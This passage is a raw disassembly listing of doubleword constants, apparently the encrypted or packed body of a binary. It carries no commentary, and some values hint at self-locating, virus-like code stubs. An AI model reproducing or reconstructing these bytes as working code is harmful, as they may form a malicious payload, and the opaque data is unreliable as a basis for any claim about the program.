		dd 22323A22h, 0ACC5325Ah, 0A8093CBDh, 124ECDA9h, 0D5B13253h
		dd 295A99A5h, 70A14DD5h, 0C5323D22h, 4CC43446h,	0AAF6B917h
		dd 0BCBD6DDDh, 0AFF6B915h, 3EBD6DDDh, 0EEF6B96Fh, 4EBD6DDDh
		dd 0AFC43A09h, 59E6B904h, 0ADA1677Dh, 83A2603h,	286B195Ah
		dd 3EEB37BDh, 0EEF6B944h, 5EBD6DDDh, 51323609h,	103B3153h
		dd 2DB80753h, 22B22229h, 729A7357h, 0D4B06EDFh,	154ECDEEh
		dd 75B48BA9h, 11423256h, 0A24E64BFh, 6C7853A9h,	0DCE43246h
		dd 5775B1BAh, 0D5B1DA36h, 6BEB3256h, 4EC36EBCh,	0B00BB95Fh
		dd 6EB8093Eh, 0AE8EB19Fh, 5720B659h, 0AC3A3256h, 2ABD47A9h
		dd 2E13A23h, 75B132DEh,	7D323725h, 0D453D942h, 0DB4ECE13h
		dd 5FC4CD5Ah, 0DA5905A9h, 0A7B13256h, 16F4B93Ch, 16C3356Fh
		dd 394D77A9h, 29B13629h, 0A2CEB15Eh, 0BCB34656h, 544E8A58h
		dd 0D008CDA9h, 19B13256h, 0F67AD9FDh, 0CEB42229h, 4DCEB159h
		dd 0EFA04750h, 0DCB575DDh, 0B65A3E09h, 5EB575DDh, 0F95A3E09h
		dd 0FEB575DDh, 0E59A3E09h, 585AB152h, 0ADA14DD5h, 7CF03323h
		dd 0AAEDBB8Fh, 2A4E8A57h, 0EF08CDA9h, 86B13256h, 0DB36D9FDh
		dd 5DB9F09Fh, 0CE5DB903h, 6CB977DDh, 0A3C33E13h, 0A2A1776Dh
		dd 0E95ACA55h, 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h, 46D1CE92h
		dd 57B13256h, 995BB30Ch, 0E6B80925h, 636A019Fh,	0CF3ACE0Bh
		dd 0B38A5A5Ch, 29B10DD5h, 518EB132h, 90323723h,	2840D942h
		dd 0A1B13629h, 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h
		dd 0BECEB18Dh, 0D4BE4653h, 0DEB72229h, 923A7347h, 0E6EEB952h
		dd 323A2FBDh, 0B6EEB952h, 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh
		dd 0D43237BDh, 0D4C43146h, 63681917h, 0CDB0330Ah, 454ECDA9h
		dd 5DB137EFh, 451AC156h, 123A53C1h, 0FB72FBAAh,	0D5596107h
		dd 0B0B13256h, 60CD8D7h, 203C3B6Dh, 548A5A74h, 0AEB156EEh
		dd 5763DA56h, 0A03A3256h, 0C15AF36Dh, 0D1B57955h, 76A64097h
		dd 7B8A221Dh, 5F5A3024h, 0BC5A26BDh, 0B97BA8DBh, 784E3B6Dh
		dd 4F3C3ABDh, 0E38AC3A6h, 2CEAE1A9h, 31E4F10Eh,	5DB1DABAh
		dd 2FEB3256h, 6CC53EBCh, 113C525Fh, 0DC8A5A74h,	63B977DDh
		dd 79F4B951h, 31B575DFh, 1A382213h, 0BAF4B95Ah,	36A175DFh
		dd 0ABA1F09Fh, 4834F436h, 0ADB80741h, 62C2283Eh, 0C704CDFEh
		dd 0D0B80740h, 96CA42D3h, 561CD5Fh, 0C3FFB8DBh,	2AE03B6Dh
		dd 683C6886h, 7C8A5A18h, 0B6F18559h, 52E3EADDh,	6DB26867h
		dd 5680B0DFh, 0C3D03B63h, 0E85251h, 5A000000h, 747DEA81h
		dd 8B52093Bh, 35013182h, 4E6DB909h, 0E1F741C6h,	3039055Ah
		dd 0FF250000h, 897FFFFFh, 35013182h, 0C3595A09h, 0E85251h
		dd 5A000000h, 74ADEA81h, 0C88B093Bh, 0FFFFBBE8h, 0F7D233FFh
		dd 5AC28BF1h, 0C08BC359h, 858DC08Bh, 93B6ABEh, 8B66D0FFh
		dd 76858DC1h, 89093B74h, 351B6585h, 0A6858D09h,	89093B74h
		dd 351F3185h, 0B809h, 0C00B0000h, 47840Fh, 85C60000h, 935179Dh
		dd 30DF6856h, 0B5FFA9C5h, 935167Dh, 7B70858Dh, 0D0FF0938h
		dd 0A58D8D50h, 5109352Eh, 68046Ah, 0FF000010h, 3531E9B5h
		dd 8BD0FF09h, 3531E9BDh, 3C7F0309h, 0F8C781h, 47C70000h
		dd 2024h, 19D8D60h, 8B093527h, 0FC00B03h, 584h,	89008B00h
		dd 0F6B90443h, 8D00234Ch, 3B765E8Dh, 51006A09h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 531A2DD1h
		dd 298D8904h, 6A093516h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0B883C356h,	5C0BAE34h
		dd 55858BC0h, 8B093516h, 3510AD95h, 7D85C709h, 0E8093528h
		dd 6A000071h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 8A6FC356h, 98DEBB66h, 60F9BF0Fh
		dd 860F60h, 0E9000000h,	0Fh, 27E02590h,	38E79715h, 0BDE33156h
		dd 6140E9BCh, 85C761F5h, 9352255h, 0
aI5S		db '`┴╫у',0Ah
		db '5',9,'И',0Ah,0
		align 4
		dd 0F1D1066Bh, 494C20BEh, 0FF61D4F2h, 3503DDB5h, 95FFF809h
		dd 9350D05h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0B8C35141h, 8D51ECA2h, 89BFA67Fh, 352431BDh, 0FF006A09h
		dd 35082995h, 0EBC08B09h, 4DFA0D59h, 63873B82h,	0AE41C505h
		dd 5920918Eh, 990DAA14h, 0A7364A90h, 1C202EC8h,	4A44463Fh
		dd 9F068132h, 62E5482Dh, 0BC4F88EFh, 0B7924703h, 0F07AB77Eh
		dd 8481C01Bh, 0CB17F026h, 75ADB00Dh, 40C57A9Ah,	31051B9h
		dd 807D4E7Bh, 52E13328h, 0DE8DF63Ah, 6B4A8FD7h,	8E8A23Dh
		dd 0FD000000h, 8962C745h, 581A7F11h, 0C19D8B51h, 5909350Ah
		dd 702EC081h, 74BA0000h, 0BE5D7B42h, 0
		dd 8E8h, 0B785CA00h, 0FFD56DCBh, 8E8CFh, 0E710000h, 0C75A487Ch
		dd 0B5016A71h, 9353039h, 34FF595Bh, 959D0906h, 5F09350Bh
		dd 1BE98D89h, 0F7810935h, 6E9CFD1Eh, 1BFD8D89h,	0F7810935h
		dd 7F0936E5h, 0A312F181h, 0C78141BDh, 96830F8h,	0BD89F560h
		dd 93522B1h, 303C8961h,	0FB18529h, 0F3810935h, 0C02187Fh
		dd 3EA2EE81h, 8A0F3A61h, 6, 25D99589h, 0C6810935h, 3A613E9Eh
		dd 6919589h, 0FE810935h, 0FFFF90B4h, 1D850Fh, 0B5090000h
		dd 9351789h, 28E9h, 2D44AF00h, 0C2AF0B4Fh, 0FA7384BCh
		dd 84D51073h, 8AD58E2Ah, 0FF6CE9F3h, 5E44FFFFh,	0B42AEA3Ah
		dd 4A26063h, 0B576F0DFh, 0AE81Eh, 6F240000h, 6F8FA2EDh
		dd 501D756Eh, 8D896060h, 93516EDh, 11F18589h, 29610935h
		dd 35275D8Dh, 8B5E6109h, 3517999Dh, 8AC68109h, 0E800006Fh
		dd 0Ah,	81F75CF0h, 3F7DA711h, 8052DBB1h, 5B58C4C8h, 0B531FF2Bh
		dd 935305Dh, 0E83734FFh, 12h, 57E294AFh, 9EF62DF5h, 83E06193h
		dd 82940FF8h, 0F381AFFCh, 1C991EC2h, 95895A5Bh,	935161Dh
		dd 6FBFC281h, 5E862E2h,	0FD000000h, 6DD08154h, 0A7D858Bh
		dd 81590935h, 57998FEAh, 0AD29BB28h, 0F2814027h, 5E4424A2h
		dd 8880Fh, 29500000h, 350D098Dh, 0E9525B09h, 0Dh, 0FA2A381Bh
		dd 34DCF5A4h, 4F709B2h,	3E048F92h, 4830Fh, 0B9660000h
		dd 8B66D1E0h, 1EF83C1h,	4F4F06B3h, 6820F4Fh, 8B000000h
		dd 3528A585h, 60FF8109h, 0FFFFF91h, 0FFFF5F85h,	0D98B66FFh
		dd 8EBh, 0B5610000h, 0BBE96E81h, 68000004h, 93B79C1h, 0FA0623E9h
		dd 7A2768FFh, 19E9093Bh, 68FFFA06h, 93B7B81h, 0FA060FE9h
		dd 0F5D280FFh, 0A43D30A8h, 0F3EE81F7h, 993E36AAh, 0F4E57C04h
		dd 0EB9FECA7h, 0C2366772h, 0E96F2CA9h, 0AF316A77h, 0D37526B3h
		dd 0C9DFE5FBh, 0CADB12FAh, 0AB2E4709h, 3F58D448h, 0DE56685Eh
		dd 3EB63AB9h, 0A428E0B3h, 3617BFEh, 7C777915h, 11ECAECh
		dd 2A1A8B13h, 851CDC31h, 3318B92h, 493C0000h, 4DCE70Ah
		dd 1AC804C8h, 1C3641B0h, 5CF202A4h, 150354CDh, 0F709C5EBh
		dd 15975A7Fh, 68B78DE1h, 0AFD81E0Dh, 0EED40AE4h, 0EA27E5D0h
		dd 1F54FCC4h, 0D3086E93h, 94F3B11Dh, 9220B335h,	8ECF568h
		dd 4878545Ah, 19B0EA8Dh, 0CB52A208h, 319D7540h,	4455255Dh
		dd 7EFC25A4h, 0D05B5E64h, 0A0545A1Eh, 9458E6FCh, 4A5C179Dh
		dd 0A92BC6D3h, 0FD758747h, 8B2F0DCh, 0FC27E564h, 4C6E1ADAh
		dd 22D6C7D0h, 8B316F0Eh, 7F27E563h, 8EBF669h, 60846A84h
		dd 0DDF0F49Eh, 0EECAB43Fh, 86000002h, 2AAEEFD4h, 6FF1AA37h
		dd 40B8E5F0h, 6AEEAF28h, 0FEB5E6F3h, 7564FD8Dh,	1EBBB028h
		dd 7865FB7Dh, 0D8C15D23h, 23C10DC3h, 12FAC899h,	2EBB008Dh
		dd 0D50BC39Bh, 150D3A67h, 7F814D53h, 7DFFF2E7h,	322BD579h
		dd 0EB82F6A7h, 247503EEh, 0DADA8E45h, 9F524FE0h, 0CB67D91Dh
		dd 9D3E16CEh, 149FE064h, 2882Ah, 95322000h, 0C4DD5008h
		dd 930E21D7h, 0B9DE560Ah, 94051CE4h, 8B7F0C07h,	0E2960792h
		dd 894F4C49h, 0CF910A97h, 73554653h, 0C73F851Bh, 0AA3B12FAh
		dd 0D39B2E29h, 20AC425Fh, 0D39B082h, 0CF22C415h, 0FAC97F41h
		dd 0FFE54012h, 8B75AFDEh, 1DDB892h, 47170000h, 30A5BE2Bh
		dd 0ADC133BEh, 8269834h, 0B18E6B8Bh, 9E2EE6h, 1503645Dh
		dd 81418D13h, 0C04E7323h, 36BD3992h, 13120A6h, 932DE113h
		dd 7DEF029Fh, 0FBFBF5E4h, 0E999BEA6h, 0B4D6A4ABh, 41E11558h
		dd 9285F80Ch, 70522A5Eh, 0A686A3A2h, 94C309DBh,	31B71300h
		dd 3116C5h, 2E750000h, 0D50BC39Bh, 1503724Ah, 3BC928AEh
		dd 13011195h, 0E0E5CF56h, 0BED76FA0h, 2DD3FB46h, 0A44CA831h
		dd 92859069h, 7164FF01h, 0DCD685h, 47B50000h, 0D143AE2Bh
		dd 3EB24158h, 0AF1F8722h, 67A8F25Eh, 7AF66A89h,	0B1FA53Bh
		dd 671B1C36h, 3C150CE6h, 0C927C913h, 0FA80F0D4h, 7C7E1C35h
		dd 8F01F5E2h, 2C60693h,	35F9D6DCh, 28CCD21Ch, 69217453h
		dd 3F652965h, 1C35F975h, 0F95F657Bh, 555B1C35h,	0F78D696Fh
		dd 1501AB6Ch, 0B4468628h, 0DEE4FABDh, 0DA12FE48h, 0A8352AD4h
		dd 7429C749h, 806475ECh, 0F2D80FAAh, 2EC6B033h,	0C6000001h
		dd 0EA6E2F94h, 0AF316A77h, 7825B0h, 0AA2E6F68h,	0BE7526B3h
		dd 0B5243DCDh, 0DEFB70E8h, 0B8253BBDh, 98011DE3h, 63814D03h
		dd 12FAC659h, 157B404Dh, 41A12BB9h, 13951C36h, 0E9F069E3h
		dd 0CBC2FAB4h, 0CACF64A4h, 6C6C1BF6h, 8D1A1688h, 9A071990h
		dd 56329A54h, 355B8248h, 8470761Ch, 2B4704A7h, 5DD143AEh
		dd 35BCDD54h, 0B4EAC85h, 0A44AEEE9h, 9846824Ah,	1C355D32h
		dd 84408026h, 8FDCAB6Ah, 0FBCCA155h, 0C6DCF0A8h, 1502CAFEh
		dd 716E00F6h, 0DCF0FE82h, 0B16786A4h, 11E56858h, 376D216Dh
		dd 1300DB8Dh, 1D8F6789h, 34089504h, 1300DB92h, 6C31AEC2h
		dd 705C7DF4h, 8832701Ch, 7C1300DBh, 0DB42885Ah,	0FE721300h
		dd 39BDE3E1h, 5BD0BAh, 2E010000h, 0BF0BC39Bh, 41EFD50Bh
		dd 0C5EB1C36h, 39BDA331h, 2FB1150Dh, 0C3DC50C4h, 8D0A26DAh
		dd 11E8D666h, 0C8157251h, 8A3529DCh, 0B4916E54h, 0AA446AADh
		dd 0E6F36FF1h, 1881990Bh, 8A7AEBD9h, 8E5463FFh,	0ADB49124h
		dd 0EF807E20h, 737DFFF2h, 1DBAB62Ah, 3ECD6h, 4F1D0000h
		dd 0B0154784h, 4653CF41h, 0BA2739ABh, 2BAEC537h, 0BCDD54C8h
		dd 2FAAC335h, 0BFD850C4h, 32AFC034h, 0C9D04DBFh, 89575D2Ah
		dd 4C781E7h, 53000000h,	4BBh, 5BDF2900h, 5C243C87h, 66468h
		dd 24048900h, 5E08950h,	4, 8704E883h, 895C2404h, 0BD552434h
		dd 7D2E0E87h, 7640F581h, 0E8897415h, 83242C8Bh,	8B5404C4h
		dd 0C4812434h, 4, 8468F50h, 5224348Bh, 0C281E289h, 4, 4C281h
		dd 14870000h, 48B5C24h,	0E0895024h, 405h, 40500h, 4870000h
		dd 81E95C24h, 91FFFA01h, 2B50985Bh, 0D495FBFAh,	0F452C38Bh
		dd 0D4B803C2h, 3093B7Ch, 96E0FFC5h, 4C0B0013h, 0E7030377h
		dd 8D49787Ah, 3B7E6A8Dh, 11E809h, 8260000h, 0B3E0713Dh
		dd 498E568Fh, 0BC435CFCh, 0FE32B37h, 38Ah, 0DF8B6600h
		dd 298D895Ah, 6A093516h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 7284C350h, 5B0F8512h
		dd 0E079A96Eh, 287D85C7h, 59A80935h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 50F0A9C3h
		dd 0B7B2933h, 350C9585h, 5585C709h, 93522h, 29000000h
		dd 351EE5B5h, 95B5FF09h, 6A093530h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F954C351h
		dd 0F32C056h, 0E280894Eh, 595FF0Eh, 6A09350Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 52B2C355h, 0B7208FADh, 5DA2CABFh, 0FF006A24h, 35082995h
		dd 0EBC08B09h, 685A7B6Eh, 1B4A1F84h, 9AB79EF2h,	8C5858C4h
		dd 0DAC3D308h, 0A58F6DFh, 111D356h, 12B43B59h, 81B91087h
		dd 431F5343h, 0F38B24D1h, 0A6B95F21h, 0C0C63281h, 0C318942h
		dd 0D24675E1h, 70CD39C7h, 1DD4A7C2h, 0B9BCEDF9h, 3605FA95h
		dd 34644448h, 0E966B6BAh, 3222E5Ah, 0AB6022CDh,	0C460B578h
		dd 4BEBB2EEh, 8CEC0F40h, 500DEB1Ch, 0E8CC9BF6h,	0Dh
		dd 0D9FEA303h, 0C9B6A744h, 5C253485h, 8D8D8B9Ah, 5B093505h
		dd 5E8h, 0BC41C300h, 0BD89BC8Dh, 93510E5h, 0D9C3815Fh
		dd 0F000062h, 68Fh, 4DBD0300h, 0BE093516h, 57855D0Dh, 4478EE81h
		dd 0EBB85785h, 8B29702Ah, 81FA8B13h, 0DF6AC9C2h, 81EF8A35h
		dd 65B94DF2h, 3880F08h,	66000000h, 0C281C88Bh, 1C5A4F4Fh
		dd 89C8BF0Fh, 4EB8313h,	10A5E1BFh, 1EE834Fh, 0FFC9850Fh
		dd 0F52FFFFh, 38Fh, 0FB8B6600h,	5B8D8D5Fh, 6A093B80h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 569FC356h, 0F558D89h, 0F5E0935h, 8D89F2BFh, 9351629h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4DC35747h
		dd 0C6BF3E17h, 4AAE858Bh, 0D5BD8944h, 0C709352Ch, 35287D85h
		dd 66FC09h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0E50E9879h, 2E91858Bh, 85C70935h
		dd 9352255h, 0
		dd 12E9h, 4AB80900h, 7212C1AEh,	0C11D6C40h, 76D10567h
		dd 0FFAA21A4h, 352C79B5h, 0DA8B6609h, 0D0595FFh, 6A0935h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 13A8FC3h, 0B063842Ch, 0D9BF0F23h, 16758589h,	6A0935h
		dd 82995FFh, 0C08B0935h, 3C3829EBh, 9E51DF6Bh, 0D7F7AD4h
		dd 0AE635A1Ch, 0DA5390F8h, 2420660Fh, 84D9BE68h, 27E18E3Eh
		dd 0B2584EDCh, 5E297CA5h, 0E87D9205h, 0Bh, 9E440AB6h, 850F4F51h
		dd 298CCF3Ah, 351F018Dh, 0C3815B09h, 68B8h, 30A9958Bh
		dd 36B90935h, 812C119Eh, 118430E9h, 0CD9D312Ch,	8B09351Ah
		dd 45BA6603h, 3C08123h,	600FD3FAh, 0B58B56F9h, 9350615h
		dd 0F081615Bh, 5678C9ABh, 53DF8166h, 1DF081FCh,	0E9236A47h
		dd 11h,	20B383C9h, 0ADD1EA2Bh, 45D7A44Ch, 0BBFE7529h, 92B25040h
		dd 0F60038Fh, 281h, 8B616000h, 352CE185h, 0EB836109h, 4BF8B601h
		dd 0BD094B4Bh, 9350BF5h, 1E981h, 850F0000h, 0FFFFFF93h
		dd 8DB58B60h, 6109352Fh, 3A9008EBh, 41F3h, 50E90000h, 6800000Ah
		dd 93B82BEh, 0FAC45BE9h, 83CE68FFh, 51E9093Bh, 68FFFAC4h
		dd 93B8585h, 0FAC447E9h, 867368FFh, 3DE9093Bh, 68FFFAC4h
		dd 93B87D6h, 0FAC433E9h, 899368FFh, 29E9093Bh, 68FFFAC4h
		dd 93B8A35h, 0FAC41FE9h, 0D68447FFh, 6C10BAC5h,	0D38B403Fh
		dd 6610BDCAh, 0DB834A35h, 378B2AD2h, 0C6C1EA90h, 205F4C08h
		dd 9CEBB0A8h, 31634828h, 163BD48h, 83F8CF89h, 5A1ACEEBh
		dd 0D4944043h, 882FF8C7h, 0A3051840h, 2F504F5h,	2B7D90CCh
		dd 0A6C4B918h, 998FCF82h, 9D9BBC70h, 0E1376121h, 0A187DD2h
		dd 0E7CF82E6h, 33CE3EE0h, 0A08F0CEAh, 0E4EC17F6h, 74DB9974h
		dd 0E71F725h, 11A8578Fh, 3239F9B1h, 50000000h, 0B5E89637h
		dd 0ABAB2453h, 1D0E1E98h, 7224507Eh, 0B19B0085h, 7EAACF82h
		dd 0B0ECF29Fh, 8176CF82h, 0F224276h, 4AF96DACh,	9BF9B1C3h
		dd 0DCh, 0B91ACE23h, 0DC46CF10h, 7FC64D80h, 60A9FFA9h
		dd 72F86667h, 5DDA3086h, 0FF546FFCh, 0A4DAF106h, 2A4A7E69h
		dd 2C0791F3h, 9831883Fh, 0CB5DA7E6h, 45258FD4h,	0CBAB1D4Ah
		dd 3F7B33E2h, 5E8AC64Eh, 0C6F20D1Eh, 6BBC67A6h,	3EDD47CEh
		dd 0B7EC64Eh, 4E3E988Ah, 0BB6DBBC6h, 0E4B91C6Dh, 0FCF8368h
		dd 75A8D0F8h, 0A3752013h, 5E5ECD7Ah, 0C86EAC29h, 1305D8BAh
		dd 84FAD1E6h, 0F9616897h, 6029A115h, 11B5C875h,	829h, 0F0BDBD10h
		dd 5A433B8Fh, 0F1BAA42Dh, 703D3996h, 0D9C2B80Fh, 0A9207423h
		dd 339BECB1h, 0A72D5A43h, 2F99E6B7h, 412E5E4Fh,	890262C4h
		dd 0F08AF1CFh, 225707CEh, 8034AE17h, 0F127C64Dh, 7E2E5B42h
		dd 0F6D01268h, 6CD7EABFh, 0EAFC5978h, 69C64DC1h, 0B64469BFh
		dd 0EA1F1D0Eh, 9588F6DDh, 80EFF154h, 0B464C64Dh, 0BCBA1362h
		dd 7C8D7C05h, 7498F0F0h, 1DE64EA2h, 0C64E5BC3h,	54B18098h
		dd 0CF838C47h, 1ED3CA5Eh, 0CF836BC0h, 0B3C4B5A2h, 0DB2D601Eh
		dd 836BA83Ah, 8A7DABCFh, 0A3051844h, 78EC2B90h,	0F9B118CBh
		dd 0A01Ah, 1ACE6000h, 8940435Ah, 21CBBED1h, 935D0CA9h
		dd 0AD0C2756h, 0C64E4FFDh, 9398D80Ch, 0ED204074h, 9EEBF13Ah
		dd 837A6A37h, 803E9CFh,	90193AD5h, 0C778A5F3h, 0A62F5860h
		dd 0D8BA595Fh, 0EADD2AFEh, 57B27BE3h, 5F146C5h,	5016A680h
		dd 7963B5C6h, 1CB45D3Dh, 31E7415Ch, 0A0DEF582h,	60F7E25Ch
		dd 7E643775h, 719h, 0A08DCD00h,	2AF36B5Fh, 0A18AF4DDh
		dd 0C0ED6966h, 495208BFh, 19B004B3h, 834B3C61h,	17BDCAD3h
		dd 9F493667h, 91BECEDFh, 8903B234h, 60DAA1CFh, 465707CEh
		dd 0BEEF8F39h, 5A1ACE34h, 0D4944043h, 7CDBAC7h,	0C80F5C57h
		dd 514EB7C0h, 0A4CF82ACh, 833E3C93h, 0CEB9CE5Ah, 0E75C5707h
		dd 0C107C8FCh, 74ABD3F8h, 0FD878610h, 538582ABh, 0A895FC13h
		dd 0EA56C8CEh, 3E3EAA9Dh, 84118083h, 3824173h, 54C08921h
		dd 0AA30E632h, 0CB72247Eh, 55E2D14Fh, 751DC763h, 52BA088Dh
		dd 3CA8D7C4h, 2FB4613Ch, 0C454C0D7h, 4A3D5010h,	23C5D884h
		dd 988FBDDCh, 0E3D5A4F3h, 7B6D9A83h, 9AFB0EFBh,	54C0D788h
		dd 6616BCCBh, 784BDD27h, 0D76D6E23h, 248B54C0h,	0B2B226F5h
		dd 0A92A9EE9h, 0CB120022h, 2952F332h, 9204A07Fh, 595FC87Bh
		dd 8B70A530h, 1503410Fh, 0E8F03708h, 5FC1369Fh,	4894483Ch
		dd 0D90041B4h, 8F1A722h, 6CA3DBEFh, 0A8685218h,	0D4BE3C38h
		dd 160B6ADDh, 4C37D9E3h, 953AB2E1h, 3C810895h, 37Fh, 28FF5E82h
		dd 45D0B9BFh, 0CF829874h, 42371107h, 0E6DD9935h, 916A39E7h
		dd 0A9AF7850h, 0FAEC6960h, 594E8945h, 6CBABA2Eh, 0F069EC55h
		dd 357BE5Bh, 0FED3E415h, 0ABDEB180h, 0A55D3C01h, 0C85C3333h
		dd 0E0185C22h, 9635A6D1h, 0C7613C38h, 0BA0F2851h, 843FC9C4h
		dd 75F69CF9h, 0CF1D5094h, 0EAF48EA6h, 0EC699E9Ah, 4E8396FAh
		dd 3059CF59h, 0A52CAD17h, 0D84EDAB5h, 0C100B4D3h, 8396E244h
		dd 986B714Eh, 0DED1DA8Fh, 13FBADFBh, 0FD54BB4Fh, 6223BFDAh
		dd 49000005h, 0B4D3D886h, 324D5E1Eh, 0C7B8E599h, 34535806h
		dd 24D0DD9Dh, 0E09E3589h, 5202CCBBh, 0E6963E49h, 5E1ECAB5h
		dd 0B3123F4Dh, 0CF890531h, 0EE15922h, 6BEA1F1Dh, 0CF82ABF6h
		dd 0FDC00AFDh, 82AB8E98h, 0CD5BCDCFh, 623DEBF6h, 0BB12B325h
		dd 132455C3h, 9DF2C1A1h, 3C8F0E81h, 399CEDEBh, 0D8B7D724h
		dd 0F910F92Fh, 4D808A9Ch, 22EECCC6h, 4EC9C6AEh,	0EDB48F99h
		dd 47462692h, 0BFC8A81Ch, 375606C8h, 0EB5DC74Eh, 2AFEC64Dh
		dd 0B5D2C57Ch, 8C38CB4Ah, 741BBFECh, 5DF08498h,	24Fh, 801D0EE5h
		dd 4D810B15h, 4ED850C6h, 17EDC39h, 6215CF89h, 51A6F06Ch
		dd 37B4F68h, 2D8C4330h,	42E6B9A5h, 0C1DC9A33h, 9BECB167h
		dd 0AA474634h, 0CF890133h, 0D538F4E0h, 145DFF8Fh, 2CF75319h
		dd 2B8A03ABh, 68C3917Dh, 3B5E83A6h, 474A7h, 2705B00h, 78E4EE19h
		dd 0FF7F54B3h, 82FCD12Eh, 0F7676E99h, 4B9F4E26h, 0BAC5D684h
		dd 44436814h, 0A0DFCC8Ch, 25673434h, 647D93Ch, 7F0CCF89h
		dd 1F1D0EF7h, 1AD6BEAh,	52C6CF89h, 0DC9C483Bh, 6404B0CFh
		dd 81474029h, 149DB3Ah,	1E0ACF89h, 40F39588h, 98E18133h
		dd 33E8F904h, 0CFD96109h, 5CEBC7DFh, 0C196ADFBh, 3E510DC6h
		dd 0BFDE8049h, 3664B358h, 0AE7D9C5Fh, 71713A3Ah, 0F9BF31C2h
		dd 17A13h, 1ACE5B00h, 9440435Ah, 2FF8C7D4h, 6CE9E029h
		dd 0C64D807Ah, 9744FD9h, 82A7378Ch, 0D3CA5ECFh,	82A6C01Eh
		dd 0E78731CFh, 6412BBA8h, 62B15E29h, 0C847B630h, 0B1D1EF94h
		dd 40F6F9h, 0FC0B0000h,	1E6AA5D5h, 1D0E8B23h, 0EE6BEA1Fh
		dd 5CF82B0h, 8795FC13h,	0DBCF82B0h, 0EBF2D9EEh,	0E9A75E5h
		dd 0F726A998h, 0C6B81126h, 0AD379EC7h, 0AECF82B0h, 85152C7Ah
		dd 0F9B1C3DEh, 0A907h, 1ACE4F00h, 8940435Ah, 77F29795h
		dd 2274D512h, 0ACCCF8EBh, 81427671h, 0AFF9144Ah, 496134F9h
		dd 38C64D9Ch, 0C2BFEC8Ch, 0FC01DB5h, 25B0D94Fh,	0C64D93BBh
		dd 0EB988A0h, 6BEA1F1Dh, 0CF85451Ah, 0AD9AEF39h, 384F3826h
		dd 53B5E890h, 0F710F960h, 1672ADCDh, 0C1B9101Bh, 55ABA1BDh
		dd 4125F87Ch, 311h, 78A5D5F8h, 121B4387h, 79A2DCF5h, 815418Eh
		dd 81AAD0F7h, 0C1085CFBh, 5B739499h, 0DFF5121Bh, 47718E9Fh
		dd 0E916F627h, 89077A6Ch
		dd 8B2D9CFh, 18B607CEh,	0A8E1CA5Ch, 80B23491h, 77A1C64Dh
		dd 6505AFBCh, 1ACEBA38h, 9440435Ah, 0D18D4235h,	37A96ABEh
		dd 1CC64D80h, 536D5E0Ch, 4B50230Bh, 28EFD0DDh, 0A96ED720h
		dd 0BCCF82FAh, 4138316Ch, 82F262C4h, 35E3F4CFh,	187A9A69h
		dd 0EBEAD94Fh, 0CF8289F7h, 0F5DCEB1Eh, 43FE8A85h, 190251C0h
		dd 0BA5FE613h, 0C9D8B7AFh, 0D0A44E5Fh, 48CD12B7h, 0C64D80DEh
		dd 22FDAB7Dh, 2F6EE8E5h, 37043D5h, 897E91D1h, 0F30E1F5Fh
		dd 51C42569h, 0BD74616Eh, 498229F2h, 0E6768315h, 64707DF8h
		dd 0FC853C78h, 838A2499h, 0E6B96FCFh, 8345B12Fh, 0AFC8B1CFh
		dd 6D526119h, 3209B62Eh, 5DD8F9B1h, 1E000000h, 6B13B7D0h
		dd 52D43134h, 1C64D80h,	5B28117h, 64E11616h, 0CF82B0F7h
		dd 4F6FEAEh, 586C76DFh,	39EFCF83h, 0E9B735B3h, 6C47379Eh
		dd 0CD4C7B61h, 22BF4206h, 0E6FC9974h, 7CCF82A7h, 0A6FEE18Bh
		dd 0BC46B488h, 2930205h, 809FDFF5h, 83FBD124h, 78711EB0h
		dd 0AB60F9B1h, 0E6000000h, 0FB91ACEh, 42D4306Fh, 0C9B1184Bh
		dd 0DA4CC9C0h, 79C64D80h, 97158AFh, 0CCBF7216h,	3925AE99h
		dd 0ABCBFD8Ah, 25456F74h, 855595F8h, 0B024C64Dh, 57C1B90Fh
		dd 0EF8F3946h, 2424F3B0h, 0B11572D3h, 0D850CF82h, 2523F4D3h
		dd 5D0A71D4h, 0CF59D8BAh, 5A04CDBAh, 1C3EA82Dh,	0B1DC650h
		dd 933A4D38h, 0EC5C2EBh, 951A2C50h, 7C9F7560h, 154E6h
		dd 0E2903B00h, 5804CEB9h, 0DF9F3453h, 621CB1CEh, 0D7874E39h
		dd 2B7F2EC6h, 9AE5B6A4h, 24634834h, 807FACACh, 5071454h
		dd 96779DCh, 9FECCF89h,	5707CE17h, 0EF8F3946h, 1D0E34BEh
		dd 0EE6BEA1Fh, 5CF82B0h, 8795FC13h, 0DBCF82B0h,	2B12574h
		dd 0D3F9B1C3h, 84h, 5CB9D01Bh, 0C64D80CAh, 97A49F89h, 15524D2Dh
		dd 28CDC0BEh, 0C64D8588h, 0FA234375h, 849BDB0Dh, 275058BFh
		dd 82B0E99Eh, 7FAC7CCFh, 285157C0h, 0BA597F9Dh,	3344D4D8h
		dd 0E0CD8D44h, 4A32289Fh, 7560902Eh, 0B2C2A07Bh, 99000000h
		dd 24634836h, 827DAEAEh, 0F7081549h, 8483A8D6h,	54200D4Dh
		dd 0F06E65B9h, 82F2DC2Bh, 0F6666E99h, 8EEEDA25h, 3826F9Dh
		dd 0CF890B21h, 0CEB14932h, 39465707h, 34BEEF8Fh, 435A1ACEh
		dd 0A3D49440h, 80B52F96h, 72A6C64Dh, 0FEEDDABFh, 9F09755Dh
